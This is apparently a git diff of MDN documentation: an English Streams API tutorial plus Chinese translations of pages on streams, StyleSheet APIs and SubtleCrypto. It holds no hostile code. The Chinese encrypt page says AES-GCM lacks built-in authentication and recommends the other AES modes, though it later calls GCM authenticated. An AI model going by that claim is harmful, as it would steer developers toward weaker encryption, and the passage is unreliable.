The {{domxref("Body")}} mixin now includes the {{domxref("Body.body","body")}} property, which is a simple getter exposing the body contents as a readable stream. This mixin is implemented by both the {{domxref("Request")}} and {{domxref("Response")}} interfaces, so it is available on both, although consuming the stream of a response body is perhaps a bit more obvious.

+ +

As our Simple stream pump example shows (see it live also), exposing it is a matter of just accessing the body property of the response:

+ +
// Fetch the original image
+fetch('./tortoise.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+ +

This provides us with a {{domxref("ReadableStream")}} object.

+ +

Attaching a reader

+ +

Now we’ve got our streaming body, reading the stream requires attaching a reader to it. This is done using the {{domxref("ReadableStream.getReader()")}} method:

+ +
// Fetch the original image
+fetch('./tortoise.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+.then(body => {
+  const reader = body.getReader();
+ +

Invoking this method creates a reader and locks it to the stream — no other reader may read this stream until this reader is released, e.g. by invoking {{domxref("ReadableStreamDefaultReader.releaseLock()")}}.

+ +

Also note that the previous example can be reduced by one step, as response.body is synchronous and so doesn't need the promise:

+ +
// Fetch the original image
+  fetch('./tortoise.png')
+  // Retrieve its body as ReadableStream
+  .then(response => {
+    const reader = response.body.getReader();
+ +

Reading the stream

+ +

Now you’ve got your reader attached, you can read data chunks out of the stream using the {{domxref("ReadableStreamDefaultReader.read()")}} method. This reads one chunk out of the stream, which you can then do anything you like with. For example, our Simple stream pump example goes on to enqueue each chunk in a new, custom ReadableStream (we will find more about this in the next section), then create a new {{domxref("Response")}} out of it, consume it as a {{domxref("Blob")}}, create an object URL out of that blob using {{domxref("URL.createObjectURL()")}}, and then display it on screen in an {{htmlelement("img")}} element, effectively creating a copy of the image we originally fetched.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // When no more data needs to be consumed, close the stream
+          if (done) {
+              controller.close();
+              return;
+          }
+          // Enqueue the next data chunk into our target stream
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

Let’s look in detail at how read() is used. In the pump() function seen above we first invoke read(), which returns a promise containing a results object — this has the results of our read in it, in the form { done, value }:

+ +
return reader.read().then(({ done, value }) => {
+ +

The results can be one of three different types:

+ + + +

Next, we check whether done is true. If so, there are no more chunks to read (the value is undefined) so we return out of the function and close the custom stream with {{domxref("ReadableStreamDefaultController.close()")}}:

+ +
if (done) {
+  controller.close();
+  return;
+}
+ +
+

Note: close() is part of the new custom stream, not the original stream we are discussing here. We’ll explain more about the custom stream in the next section.

+
+ +

If done is not true, we process the new chunk we’ve read (contained in the value property of the results object) and then call the pump() function again to read the next chunk.

+ +
// Enqueue the next data chunk into our target stream
+controller.enqueue(value);
+return pump();
+ +

This is the standard pattern you’ll see when using stream readers:

+ +
    +
  1. You write a function that starts off by reading the stream.
  2. +
  3. If there is no more stream to read, you return out of the function.
  4. +
  5. If there is more stream to read, you process the current chunk then run the function again.
  6. +
  7. You keep running the function recursively until there is no more stream to read, in which case step 2 is followed.
  8. +
+ +

Creating your own custom readable stream

+ +

The Simple stream pump example we’ve been studying throughout this article includes a second part — once we’ve read the image from the fetch body in chunks, we then enqueue them into another, custom stream of our own creation. How do we create this? The ReadableStream constructor.

+ +

The ReadableStream constructor

+ +

It is easy to read from a stream when the browser provides it for you as in the case of Fetch, but sometimes you need to create a custom stream and populate it with your own chunks. The {{domxref("ReadableStream.ReadableStream()")}} constructor allows you to do this via a syntax that looks complex at first, but actually isn’t too bad.

+ +

The generic syntax skeleton looks like this:

+ +
const stream = new ReadableStream({
+  start(controller) {
+
+  },
+  pull(controller) {
+
+  },
+  cancel() {
+
+  },
+  type,
+  autoAllocateChunkSize
+}, {
+  highWaterMark,
+  size()
+});
+ +

The constructor takes two objects as parameters. The first object is required, and creates a model in JavaScript of the underlying source the data is being read from. The second object is optional, and allows you to specify a custom queueing strategy to use for your stream. You’ll rarely have to do this, so we’ll just concentrate on the first one for now.

+ +

The first object can contain up to five members, only the first of which is required:

+ +
    +
  1. start(controller) — A method that is called once, immediately after the ReadableStream is constructed. Inside this method, you should include code that sets up the stream functionality, e.g. beginning generation of data or otherwise getting access to the source.
  2. +
  3. pull(controller) — A method that, when included, is called repeatedly until the stream’s internal queue is full. This can be used to control the stream as more chunks are enqueued.
  4. +
  5. cancel() — A method that, when included, will be called if the app signals that the stream is to be cancelled (e.g. if {{domxref("ReadableStream.cancel()")}} is called). The contents should do whatever is necessary to release access to the stream source.
  6. +
  7. type and autoAllocateChunkSize — These are used — when included — to signify that the stream is to be a bytestream. Bytestreams will be covered separately in a future tutorial, as they are somewhat different in purpose and use case to regular (default) streams. They are also not implemented anywhere as yet.
  8. +
+ +

Looking at our simple example code again, you can see that our ReadableStream constructor only includes a single method — start(), which serves to read all the data out of our fetch stream.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // When no more data needs to be consumed, close the stream
+          if (done) {
+            controller.close();
+            return;
+          }
+          // Enqueue the next data chunk into our target stream
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+
+ +

ReadableStream controllers

+ +

You’ll notice that the start() and pull() methods passed into the ReadableStream constructor are given controller parameters — these are instances of the {{domxref("ReadableStreamDefaultController")}} class, which can be used to control your stream.

+ +

In our example we are using the controller’s {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} method to enqueue a value into the custom stream after it is read from the fetch body.

+ +

In addition, when we are done reading the fetch body we use the controller’s {{domxref("ReadableStreamDefaultController.close","close()")}} method to close the custom stream — any previously-enqueued chunks can still be read from it, but no more can be enqueued, and the stream is closed when reading has finished.

+ +

Reading from custom streams

+ +

In our Simple stream pump example, we consume the custom readable stream by passing it into a {{domxref("Response.Response", "Response")}} constructor call, after which we consume it as a blob().

+ +
.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

But a custom stream is still a ReadableStream instance, meaning you can attach a reader to it. As an example, have a look at our Simple random stream demo (see it live also), which creates a custom stream, enqueues some random strings into it, and then reads the data out of the stream again once the Stop string generation button is pressed.

+ +

The custom stream constructor has a start() method that uses a {{domxref("WindowTimers.setInterval()")}} call to generate a random string every second. {{domxref("ReadableStreamDefaultController.enqueue()")}} is then used to enqueue it into the stream. When the button is pressed, the interval is cancelled, and a function called readStream() is invoked to read the data back out of the stream again. We also close the stream, as we’ve stopped enqueueing chunks to it.

+ +
const stream = new ReadableStream({
+  start(controller) {
+    interval = setInterval(() => {
+      let string = randomChars();
+      // Add the string to the stream
+      controller.enqueue(string);
+      // show it on the screen
+      let listItem = document.createElement('li');
+      listItem.textContent = string;
+      list1.appendChild(listItem);
+    }, 1000);
+    button.addEventListener('click', function() {
+      clearInterval(interval);
+      readStream();
+      controller.close();
+    })
+  },
+  pull(controller) {
+    // We don't really need a pull in this example
+  },
+  cancel() {
+    // This is called if the reader cancels,
+    // so we should stop generating strings
+    clearInterval(interval);
+  }
+});
+ +

In the readStream() function itself, we lock a reader to the stream using {{domxref("ReadableStream.getReader()")}}, then follow the same kind of pattern we saw earlier — reading each chunk with read(), checking whether done is true and then ending the process if so, and reading the next chunk and processing it if not, before running the read() function again.

+ +
function readStream() {
+  const reader = stream.getReader();
+  let charsReceived = 0;
+
+  // read() returns a promise that resolves
+  // when a value has been received
+  reader.read().then(function processText({ done, value }) {
+    // Result objects contain two properties:
+    // done  - true if the stream has already given you all its data.
+    // value - some data. Always undefined when done is true.
+    if (done) {
+      console.log("Stream complete");
+      para.textContent = result;
+      return;
+    }
+
+    charsReceived += value.length;
+    const chunk = value;
+    let listItem = document.createElement('li');
+    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
+    list2.appendChild(listItem);
+
+    result += chunk;
+
+    // Read some more, and call this function again
+    return reader.read().then(processText);
+  });
+}
+ +

Closing and cancelling streams

+ +

We’ve already shown examples of using {{domxref("ReadableStreamDefaultController.close()")}} to close a reader. As we said before, any previously enqueued chunks will still be read, but no more can be enqueued because it is closed.

+ +

If you wanted to completely get rid of the stream and discard any enqueued chunks, you'd use {{domxref("ReadableStream.cancel()")}} or {{domxref("ReadableStreamDefaultReader.cancel()")}}.

+ +

Teeing a stream

+ +

Sometimes you might want to read a stream twice, simultaneously. This is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.

+ +

You might do this for example in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the Service Worker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.

+ +

We provide an example of this in our Simple tee example (see it live also). This example works much the same way as our Simple random stream, except that when the button is pressed to stop generating random strings, the custom stream is taken and teed, and both resulting streams are then read:

+ +
function teeStream() {
+    const teedOff = stream.tee();
+    readStream(teedOff[0], list2);
+    readStream(teedOff[1], list3);
+  }
+ +

Pipe chains

+ +

One very experimental feature of streams is the ability to pipe streams into one another (called a pipe chain). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.

+ +

This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.

+ +

We have created an example called Unpack Chunks of a PNG (see it live also) that fetches an image as a stream, then pipes it through to a custom PNG transform stream that retrieves PNG chunks out of a binary data stream.

+ +
// Fetch the original image
+fetch('png-logo.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+// Create a gray-scaled PNG stream out of the original
+.then(rs => logReadableStream('Fetch Response Stream', rs))
+.then(body => body.pipeThrough(new PNGTransformStream()))
+.then(rs => logReadableStream('PNG Chunk Stream', rs))
+ +

Summary

+ +

That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.

diff --git "a/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" "b/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" new file mode 100644 index 0000000000..9c2d9f77ae --- /dev/null +++ "b/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" @@ -0,0 +1,118 @@ +--- +title: Streams API 概念 +slug: Web/API/Streams_API/概念 +tags: + - 概念 + - 流 +translation_of: Web/API/Streams_API/Concepts +--- +
{{apiref("Streams")}}
+ +

Streams API 为 Web 平台提供了一组十分有用的工具,提供了一系列对象以允许 JavaScript 访问来自网络的数据流,并根据开发人员的需要对其进行处理。与流相关的一些概念和术语可能会令您感到陌生——本文将解释您需要了解的所有内容。

+ +

Readable streams

+ +

一个可读流是一个数据源,在 JavaScript 中用一个 {{domxref("ReadableStream")}} 对象表示,数据从它的 underlying source (底层源) 流出 —— 底层源表示一个您希望从中获取数据的,来自网络或其他域的,某种资源。

+ +

有两种 underlying source:

+ + + +

数据被按序读入到许多小块,这些小块被称作 chunkchunk 可以是单个字节,也可以是某种更大的数据类型,例如特定大小的 typed array 。来自一个流的 chunks 可以有不同的大小和类型。

+ +

+ +

已放入到流中的 chunks 称作 enqueued —— 这意味着它们已经准备好被读取,并等待在队列中。流的一个 internal queue 跟踪了那些尚未读取的块(请参阅下面的内部队列和队列策略部分)。

+ +

流中的 chunks 由一个 reader 读取 —— 该数据处理过程一次只处理一个 chunk,允许您对其执行任何类型的操作。reader 加上与它一起运行的其他处理代码合称为一个 consumer 

+ +

另一个您将用到的对象叫做 controller —— 每个 reader 都有一个关联的 controller,用来控制流 (例如,可以将流 close)。

+ +

一个流一次只能被一个 reader 读;当一个 reader 被创建并开始读一个流(an active reader),我们说,它被 locked 在该流上。如果您想让另一个 reader 读这个流,则通常需要先取消第一个 reader ,再执行其他操作。(您可以 tee 流,参阅下面的 Teeing 部分)

+ +

注意,有两种不同类型的可读流。除了传统的可读流之外,还有一种类型叫做字节流 —— 这是传统流的扩展版本,用于读取底层字节源。相比可读流,字节流除了 default reader ,还可以使用 BYOB reader (BYOB, or "bring your own buffer", "带上你自己的缓冲") 。这种 reader 可以直接将流读入开发者提供的缓冲区,从而最大限度地减少所需的复制。您的代码将使用哪种底层流(以及使用哪种 reader 和 controller)取决于流最初是如何创建的(请参阅{{domxref("ReadableStream.ReadableStream","ReadableStream()")}} 构造函数页面)。

+ +
+

Important: 字节流尚未在任何地方实现,并且规范的细节被质疑是否处于可以实现的高度完成的状态。这种情况可能会随着时间而变化。

+
+ +

您可以使用现成的可读流,例如来自 fetch 请求的 {{domxref("Response.body")}} ,也可以使用 {{domxref("ReadableStream.ReadableStream","ReadableStream()")}} constructor 生成您自定义的流。

+ +

Teeing

+ +

尽管同一时刻只能有一个 reader 可以读取流,我们可以把流分割成两个相同的副本,这样它们就可以用两个独立的 reader 读取。该过程称为 teeing

+ +

在 JavaScript 中,该过程由调用 {{domxref("ReadableStream.tee()")}} 实现 —— 它返回一个数组,包含对原始可读流的两个相同的副本可读流,可以独立地被不同的 reader 读取。

+ +

举例而言,您在 ServiceWorker 中可能会用到该方法,当您从服务器 fetch 资源,得到一个响应的可读流,您可能会想把这个流拆分成两个,一个流入到浏览器,另一个流入到 ServiceWorker 的缓存。由于 response 的 body 无法被消费两次,以及可读流无法被两个 reader 同时读取,您会需要两个可读流副本来实现需求。

+ +

+ +

Writable streams

+ +

一个 Writable stream (可写流) 是一个可以写入数据的数据终点,在 JavaScript 中以一个 {{domxref("WritableStream")}} 对象表示。这是 JavaScript 层面对 underlying sink (底层汇) 的抽象 —— 底层汇是某个可以写入原始数据的更低层次的 I/O 数据汇。

+ +

数据由一个 writer 写入流中,每次一个 chunk 。chunk 和可读流的 reader 一样可以有多种类型。您可以用任何方式生成要被写入的块;writer 加上相关的代码称为 producer

+ +

When a writer is created and starts writing to a stream (an active writer), it is said to be locked to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.

+ +

An internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.

+ +

There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).

+ +

+ +

You can make use of writable streams using the {{domxref("WritableStream.WritableStream","WritableStream()")}} constructor. These currently have very limited availability in browsers.

+ +

Pipe chains

+ +

The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. There are two methods available in the spec to facilitate this:

+ + + +

The start of the pipe chain is called the original source, and the end is called the ultimate sink.

+ +

+ +
+

Note: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a TransformStream class to make creating transform streams easier.

+
+ +

Backpressure

+ +

流的一个重要概念是 backpressure (背压) —— 这是单个流或一个 pipe chain 调节读/写速度的过程。当链中后面的一个流仍然忙碌,尚未准备好接受更多的 chunks 时,它会通过链向上游的流发送一个信号,告诉上游的转换流(或原始源)适当地减慢传输速度,这样您就不会在任何地方遇到瓶颈。

+ +

要在可读流中使用 backpressure 技术,我们可以通过查询 controller 的 {{domxref("ReadableStreamDefaultController.desiredSize")}} 属性。如果该值太低或为负数,我们的 ReadableStream 可以告诉它的底层源停止往流中装载数据,然后我们沿着 stream chain 进行背压。

+ +

可读流在经历背压后,如果 consumer 再次想要接收数据,我们可以在构造可读流时提供 pull 方法来告诉底层源恢复往流中装载数据。

+ +

Internal queues and queuing strategies

+ +

As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.

+ + + +

Internal queues employ a queuing strategy, which dictates how to signal backpressure based on the internal queue state.

+ +

In general, the strategy compares the size of the chunks in the queue to a value called the high water mark, which is the largest total chunk size that the queue can realistically manage.

+ +

The calculation performed is

+ +
high water mark - total size of chunks in queue = desired size
+ +

The desired size is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.

+ +
+

Note: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.

+
+ +

As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.

diff --git a/files/zh-cn/web/api/stylepropertymap/index.html b/files/zh-cn/web/api/stylepropertymap/index.html new file mode 100644 index 0000000000..5dbbd8c988 --- /dev/null +++ b/files/zh-cn/web/api/stylepropertymap/index.html @@ -0,0 +1,56 @@ +--- +title: StylePropertyMap +slug: Web/API/StylePropertyMap +tags: + - API + - 参考 + - 接口 +translation_of: Web/API/StylePropertyMap +--- +

{{APIRef("CSS Typed Object Model API")}} {{SeeCompatTable}}

+ +

CSS 类型对象模型 APIStylePropertyMap 接口提供了 CSS 声明块的表示,该声明块可以替代 {{DOMxRef("CSSStyleDeclaration")}}。

+ +

{{InheritanceDiagram}}

+ +

属性

+ +

从其父级 {{DOMxRef("StylePropertyMapReadOnly")}} 继承属性。

+ +

方法

+ +

从其父级 {{DOMxRef("StylePropertyMapReadOnly")}} 继承方法。

+ +
+
{{DOMxRef( "StylePropertyMap.append()")}}
+
使用给定的属性和值向 StylePropertyMap 添加新的 CSS 声明。
+
{{DOMxRef( "StylePropertyMap.clear()")}}
+
删除 StylePropertyMap 中的所有声明。
+
{{DOMxRef( "StylePropertyMap.delete()")}}
+
使用给定属性删除 CSS 声明。
+
{{DOMxRef( "StylePropertyMap.set()")}}
+
使用给定属性更改 CSS 声明。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("CSS Typed OM", "#stylepropertymap", "StylePropertyMap")}}{{Spec2("CSS Typed OM")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.StylePropertyMap")}}

diff --git a/files/zh-cn/web/api/stylesheet/disabled/index.html b/files/zh-cn/web/api/stylesheet/disabled/index.html new file mode 100644 index 0000000000..a18d5f068f --- /dev/null +++ b/files/zh-cn/web/api/stylesheet/disabled/index.html @@ -0,0 +1,57 @@ +--- +title: StyleSheet.disabled +slug: Web/API/StyleSheet/disabled +tags: + - API + - CSSOM + - Disabled + - Property + - Reference +translation_of: Web/API/StyleSheet/disabled +--- +
{{APIRef("CSSOM")}}
+ +
{{domxref("StyleSheet")}}接口的 disabled 属性用于决定样式表是否被禁用于文档。
+ +
样式表被禁用可能由于这个属性被手动设置为 true,也可能是因为样式表是未激活的alternative style sheet。注意 disabled == false 并不保证样式表一定生效(例如它可能被移除出文档)。
+ +

语法

+ +
bool = stylesheet.disabled
+
+ +

例子

+ +
// 如果样式表被禁用
+if (stylesheet.disabled) {
+   // 添加行内样式
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("CSSOM", "#dom-stylesheet-disabled", "StyleSheet.disabled")}}{{Spec2("CSSOM")}}No change from {{SpecName("DOM2 Style")}}.
{{SpecName("DOM2 Style", "stylesheets.html#StyleSheets-StyleSheet-disabled", "StyleSheet.disabled")}}{{Spec2("DOM2 Style")}}Initial definition.
+ +

Browser compatibility

+ +

{{Compat("api.StyleSheet.disabled")}}

diff --git a/files/zh-cn/web/api/stylesheet/href/index.html b/files/zh-cn/web/api/stylesheet/href/index.html new file mode 100644 index 0000000000..d023340f78 --- /dev/null +++ b/files/zh-cn/web/api/stylesheet/href/index.html @@ -0,0 +1,53 @@ +--- +title: href +slug: Web/API/StyleSheet/href +translation_of: Web/API/StyleSheet/href +--- +
{{APIRef("CSSOM")}}
+ +

概述

+ +

返回当前样式表文件的URI地址.

+ +

语法

+ +
uri = stylesheet.href
+
+ +

参数

+ + + +

例子

+ +
 // 在本机环境下
+ <html>
+  <head>
+   <link rel="StyleSheet" href="example.css" type="text/css" />
+   <script>
+    function sref() {
+     alert(document.styleSheets[0].href);
+    }
+   </script>
+  </head>
+  <body>
+   <div class="thunder">Thunder</div>
+   <button onclick="sref()">ss</button>
+  </body>
+ </html>
+// 弹出 "file:////C:/Windows/Desktop/example.css
+
+ +

备注

+ +

如果该样式表是一个外链样式表文件,则它的href属性值为样式表文件的URI. 但如果该样式表是一个内联样式表,则它的href属性值为null.

+ +

该属性在Firefox, Opera, Google Chrome, Safari中为只读属性,在Internet Explorer中可读可写.

+ +

规范

+ +

stylesheet.href

+ +

{{ languages( {"en": "en/DOM/StyleSheet/href" } ) }}

diff --git a/files/zh-cn/web/api/stylesheet/index.html b/files/zh-cn/web/api/stylesheet/index.html new file mode 100644 index 0000000000..6b3011bc68 --- /dev/null +++ b/files/zh-cn/web/api/stylesheet/index.html @@ -0,0 +1,55 @@ +--- +title: StyleSheet +slug: Web/API/StyleSheet +translation_of: Web/API/StyleSheet +--- +
{{APIRef("CSSOM")}}
+ +

 表示一个实现StyleSheet接口的对象样式表。 CSS样式表将进一步实现更专业的 {{domxref("CSSStyleSheet")}} 接口。

+ +

属性

+ +
+
{{domxref("StyleSheet.disabled")}}
+
返回{{domxref("Boolean")}}表示当前样式表是否可用.
+
{{domxref("StyleSheet.href")}} {{readonlyInline}}
+
返回 {{domxref("DOMString")}} 表示样式表的位置.
+
{{domxref("StyleSheet.media")}} {{readonlyInline}}
+
返回 {{domxref("MediaList")}} 表示样式的预期目标媒体
+
{{domxref("StyleSheet.ownerNode")}} {{readonlyInline}}
+
返回 {{domxref("Node")}} 将此样式表与当前文档相关联。
+
{{domxref("StyleSheet.parentStyleSheet")}} {{readonlyInline}}
+
返回 {{domxref("StyleSheet")}} 如果有的话; 返回 null 如果没有.
+
{{domxref("StyleSheet.title")}} {{readonlyInline}}
+
返回 {{domxref("DOMString")}} 表示当前样式表的顾问标题。
+
{{domxref("StyleSheet.type")}}{{readonlyInline}}
+
返回 {{domxref("DOMString")}} 表示当前样式表的语言
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
格式状态备注
{{ SpecName('CSSOM', '#stylesheet', 'StyleSheet') }}{{ Spec2('CSSOM') }}No change from {{ SpecName('DOM2 Style') }}.
{{ SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-StyleSheet', 'StyleSheet') }}{{ Spec2('DOM2 Style') }}Initial definition.
+ +

参见

+ + diff --git a/files/zh-cn/web/api/stylesheet/media/index.html b/files/zh-cn/web/api/stylesheet/media/index.html new file mode 100644 index 0000000000..c82286e57c --- /dev/null +++ b/files/zh-cn/web/api/stylesheet/media/index.html @@ -0,0 +1,35 @@ +--- +title: StyleSheet.media +slug: Web/API/StyleSheet/media +translation_of: Web/API/StyleSheet/media +--- +
{{APIRef("CSSOM")}}
+ +

概述

+ +

media specifies the intended destination medium for style information.

+ +

语法

+ +
medium = stylesheet.media
+stylesheet.media =medium
+
+ +

参数

+ + + +

示例

+ +
<link rel="StyleSheet" href="document.css" type="text/css" media="screen" />
+
+ +

注意

+ +

The default value for media is "screen."

+ +

Specification

+ +

DOM Level 2 Styles - STYLESHEET

diff --git a/files/zh-cn/web/api/stylesheet/title/index.html b/files/zh-cn/web/api/stylesheet/title/index.html new file mode 100644 index 0000000000..834dfb3e40 --- /dev/null +++ b/files/zh-cn/web/api/stylesheet/title/index.html @@ -0,0 +1,32 @@ +--- +title: StyleSheet.title +slug: Web/API/StyleSheet/title +translation_of: Web/API/StyleSheet/title +--- +
+
{{APIRef("CSSOM")}}
+
+ +

概述

+ +

The title property of the {{domxref("StyleSheet")}} interface returns the advisory title of the current style sheet.

+ +

The title is often specified in the {{domxref("StyleSheet/OwnerNode", "ownerNode")}}.

+ +

 

+ +

注意

+ +

The title is often specified in the {{domxref("StyleSheet/OwnerNode", "ownerNode")}}.

+ +

Specification

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.StyleSheet.title")}}

diff --git a/files/zh-cn/web/api/stylesheetlist/index.html b/files/zh-cn/web/api/stylesheetlist/index.html new file mode 100644 index 0000000000..88d098c111 --- /dev/null +++ b/files/zh-cn/web/api/stylesheetlist/index.html @@ -0,0 +1,35 @@ +--- +title: StyleSheetList +slug: Web/API/StyleSheetList +translation_of: Web/API/StyleSheetList +--- +

{{APIRef("CSSOM")}}

+ +

StyleSheetLists 接口表示一个StyleSheet的列表。

+ +

这是一个像数组一样的对象,但是不能使用数组方法进行遍历。但是它可以通过for循环遍历其下标,或者把它转换成数组。

+ +

范例

+ +

使用for循环获取文档 styleSheet 对象

+ +
for (var i=0; i < document.styleSheets.length; i++){
+  var styleSheet = document.styleSheets[i];
+}
+ +

使用Array方法获取文档的所有CSS规则

+ +
var allCSS =
+    [].slice.call(document.styleSheets)
+        .reduce(function (prev, styleSheet) {
+            if (styleSheet.cssRules) {
+                return prev +
+                    [].slice.call(styleSheet.cssRules)
+                        .reduce(function (prev, cssRule) {
+                            return prev + cssRule.cssText;
+                        }, '');
+            } else {
+                return prev;
+            }
+        }, '');
+
diff --git a/files/zh-cn/web/api/subtlecrypto/decrypt/index.html b/files/zh-cn/web/api/subtlecrypto/decrypt/index.html new file mode 100644 index 0000000000..2f303bda6c --- /dev/null +++ b/files/zh-cn/web/api/subtlecrypto/decrypt/index.html @@ -0,0 +1,94 @@ +--- +title: SubtleCrypto.decrypt() +slug: Web/API/SubtleCrypto/decrypt +translation_of: Web/API/SubtleCrypto/decrypt +--- +

{{APIRef("Web Crypto API")}}

+ +

SubtleCrypto.decrypt() 以加密数据、算法和密钥为参数返回一个包含明文的 {{jsxref("Promise")}} 对象。

+ +

语法

+ +
var result = crypto.subtle.decrypt(algorithm, key, data);
+
+ +

属性

+ + + +

返回值

+ + + +

异常

+ +

Promise 将会在以下的异常被触发时返回 rejected:

+ +
+
InvalidAccessError
+
当提供的密钥无法执行请求的操作时(如:解密算法无效,或对指定的解密算法提供了无效的密钥)。
+
OperationError
+
因特定的操作原因导致操作失败时(如:算法的参数大小无效,或解密结果失败)。
+
+ +

实例

+ +
const decryptText = async (ctBuffer, iv, password) => {
+    const pwUtf8 = new TextEncoder().encode(password);
+    const pwHash = await crypto.subtle.digest('SHA-256', pwUtf8);
+
+    const alg = { name: 'AES-GCM', iv: iv };
+    const key = await crypto.subtle.importKey('raw', pwHash, alg, false, ['decrypt']);
+
+    const ptBuffer = await crypto.subtle.decrypt(alg, key, ctBuffer);
+
+    const plaintext = new TextDecoder().decode(ptBuffer);
+
+    return plaintext;
+}
+ +

iv 的含义在 {{domxref("SubtleCrypto.encrypt()")}} 中可以找到。ctBuffer 是 {{domxref("SubtleCrypto.encrypt()")}} 返回的密文。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Web Crypto API', '#SubtleCrypto-method-decrypt', 'SubtleCrypto.decrypt()') }}{{ Spec2('Web Crypto API') }}Initial definition.
+ +

浏览器支持

+ + + +

{{Compat("api.SubtleCrypto.decrypt")}}

+ +

另请参见

+ + diff --git a/files/zh-cn/web/api/subtlecrypto/encrypt/index.html b/files/zh-cn/web/api/subtlecrypto/encrypt/index.html new file mode 100644 index 0000000000..a135fe54ff --- /dev/null +++ b/files/zh-cn/web/api/subtlecrypto/encrypt/index.html @@ -0,0 +1,249 @@ +--- +title: SubtleCrypto.encrypt() +slug: Web/API/SubtleCrypto/encrypt +tags: + - API + - Crypto + - 加密 +translation_of: Web/API/SubtleCrypto/encrypt +--- +

{{APIRef("Web Crypto API")}}

+ +

SubtleCrypto.encrypt() 方法以算法、密钥、明文为参数返回一个包含加密数据的 {{jsxref("Promise")}} 对象。

+ +

语法

+ +
var result = crypto.encrypt(algo, key, cleartext);
+
+ +

参数

+ + + +

返回值

+ + + +

异常

+ +

当遇到以下异常时,promise 将会返回一次错误(reject):

+ +
+
InvalidAccessError
+
当针对提供的 key 值执行的操作无效时(例如加密算法或者 key 值无效),将会抛出该错误。
+
+ +
+
OperationError
+
发生于由于特定于操作的原因使得操作失败时,例如算法参数的大小无效,或者 AES-GCM 明文长度超过 2³⁹−256 字节。
+
+ +

支持的算法

+ +

Crypto 接口提供了支持 encrypt() 和 decrypt() 操作的四种算法。

+ +

其中的 RSA-OAEP 算法是一种非对称加密的公钥密码({{Glossary("public-key cryptography", "public-key cryptosystem")}})。

+ +

其它三种算法则都是对称密钥加密({{Glossary("Symmetric-key cryptography", "symmetric algorithms")}}),并且它们都是基于同一种基础加密,即 AES (Advanced Encryption Standard)。它们不同之处在于分组加密的操作方式({{Glossary("Block cipher mode of operation", "mode")}})。Crypto 接口支持以下三种 AES 加密类型:

+ + + +

这里强烈建议使用认证加密authenticated encryption),它可以检测密文是否已被攻击者篡改。使用认证也可以避免选择密文攻击chosen-ciphertext attacks),即攻击者可以请求系统解密任意的消息,然后使用解密结果来倒推出关于密钥的一些信息。虽然 CTR 和 CBC 模式可以添加认证,但是它们默认不提供该操作,并且在手动实现它们的时候,很同意犯一些微小但严重的错误。GCM 不支持内置的认证,由于这个原因,常常推荐使用另外两种  AES 加密算法。

+ +

RSA-OAEP

+ +

关于 RSA-OAEP 公钥加密算法的规范位于 RFC 3447

+ +

AES-CTR

+ +

使用 Counter 模式的 AES 算法,相关规范位于 NIST SP800-38A

+ +

AES-CBC

+ +

使用 Cipher Block Chaining 模式的 AES 算法,规范位于NIST SP800-38A

+ +

AES-GCM

+ +

使用 Galois/Counter 模式的 AES 算法,规范位于 NIST SP800-38D

+ +

这种模式与上面的模式不同之处在于,GCM 是一种 "认证(authenticated)" 模式,意思就是它包含了检测密文是否未被攻击者篡改的功能。

+ +

示例

+ +
+

注意: 你可以在 GitHub 尝试这个示例(try the working examples)。

+
+ +

RSA-OAEP

+ +

